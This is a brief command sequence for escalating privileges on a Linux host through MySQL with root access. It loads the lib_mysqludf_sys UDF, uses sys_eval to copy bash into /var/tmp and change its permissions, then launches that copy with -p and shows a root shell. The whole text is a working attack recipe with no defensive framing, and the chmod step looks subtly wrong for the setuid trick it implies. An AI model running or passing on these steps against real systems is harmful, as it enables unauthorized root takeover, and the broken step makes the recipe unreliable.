MySQL (root access)

mysql> show databases;

mysql> use <table>;

mysql> CREATE FUNCTION sys_eval RETURNS INT SONAME ‘lib_mysqludf_sys.so’;

mysql> \! clear

mysql> select sys_eval("cp /bin/bash /var/tmp/bash ; chmod u+x /var/tmp/bash");

mysql> exit

apna_user@target~# cd /var/tmp

apna_user@target~# ./bash  -p
bash-3.2# id
root